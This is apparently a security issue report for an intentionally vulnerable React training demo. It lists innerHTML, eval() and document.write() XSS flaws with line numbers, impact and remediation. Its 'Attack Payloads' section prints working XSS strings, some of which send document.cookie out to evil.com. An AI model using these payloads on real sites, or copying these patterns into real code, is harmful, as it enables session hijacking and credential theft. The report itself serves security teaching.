[Security] Critical XSS vulnerabilities via eval() and innerHTML in demo code

[timothywarner]

Description

The vulnerable React demo contains multiple XSS attack vectors including eval(), innerHTML, and document.write() that execute arbitrary JavaScript.

Locations

lesson-01/demo-03-xss/vulnerable-react-app/UserProfile.jsx:

Line	Vulnerability	Function
58	innerHTML assignment	bioRef.current.innerHTML = bio
127	innerHTML injection	getElementById('search-results').innerHTML
156	eval() code injection	return eval(calculation)
165	document.write()	document.write(template)

Attack Payloads

// XSS via bio field
<img src=x onerror="alert(document.cookie)">
<svg onload="fetch('https://evil.com?c='+document.cookie)">

// Code injection via calculator
1+1; fetch('https://evil.com?c='+document.cookie)
1; document.location='https://evil.com?c='+document.cookie

// DOM clobbering + XSS
<form id="search-results"><input name="innerHTML"></form>

Risk

• Severity: Critical
• OWASP: A7:2017 - Cross-Site Scripting (XSS)
• CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)

Impact

• Session hijacking via cookie theft
• Keylogging and credential theft
• Defacement and phishing
• Malware distribution

Remediation

See lesson-01/demo-03-xss/secure-react-app/UserProfile.jsx for the secure implementation using:

• DOMPurify for HTML sanitization
• textContent instead of innerHTML
• Safe math parsing instead of eval()
• React's built-in XSS protection

Note

This is the intentionally vulnerable version for training. Ensure clear labeling and never deploy to production environments.